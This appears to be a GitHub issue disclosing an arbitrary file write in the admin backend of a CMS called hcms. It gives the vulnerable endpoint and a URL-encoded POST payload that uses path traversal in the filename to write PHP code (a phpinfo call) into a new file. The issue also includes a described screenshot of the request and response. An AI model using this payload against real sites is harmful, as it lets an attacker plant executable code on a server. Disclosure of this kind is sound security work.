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0FuzzingQ commented on Feb 12, 2019

there is an arbitrary file read and rewrite in the backend of this cms via the link:

/hcms/admin/index.php/language/ajax

when post params : filename=..%2f..%2ftest.php&action=savelang&filecontent=%3C%3Fphp%0D%0A%0D%0Aecho+phpinfo()%3B%0D%0A%3F%3E

in the latest V4.0.0 edition,

the cms try to use ajax to escape attacker to do same dangerous action like change file name etc

but it can also be caught by proxy

it will write your payload into any file which is writeable

we create new file test.php to check this vuln:

The screenshot displays the 'Request' tab in a web browser's developer tools. The target URL is 'http://127.0.0.1/home/admin/index.php'. The request is a GET method. The headers for the request are: Host: 127.0.0.1, Proxy-Connection: keep-alive, Content-Length: 106, Accept: application/json, text/javascript, \*/\*; q=0.01, Origin: http://127.0.0.1, X-Requested-With: XMLHttpRequest, Accept-Apache: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36, Accept: application/javascript, text/css, \*/\*; q=0.01, Referer: http://127.0.0.1/home/admin/index.php, Accept-Encoding: gzip, deflate, br, and Accept-Language: zh-CN,zh;q=0.9. The response headers are: HTTP/1.1 200 OK, Date: Tue, 12 Feb 2019 09:27:16 GMT, Server: Apache/2.4.23 (Ubuntu), X-Powered-By: PHP/5.4.45, Content-Length: 105, and Content-Type: text/html. The response body contains a JSON array with one object: [{"s": "i", "l": "u6df4f0e58b0u7f13f50b58u05931u8d25, PMPu8bedu8a00u6587u6f6u6e0d0u5658u57281", "d": ""}].

we can access to it via link as <http://domain/your file name>

### Assignees

No one assigned

## Labels

None yet

## Projects

None yet

### Milestone

No milestone

Development

No branches or pull requests

1 participant

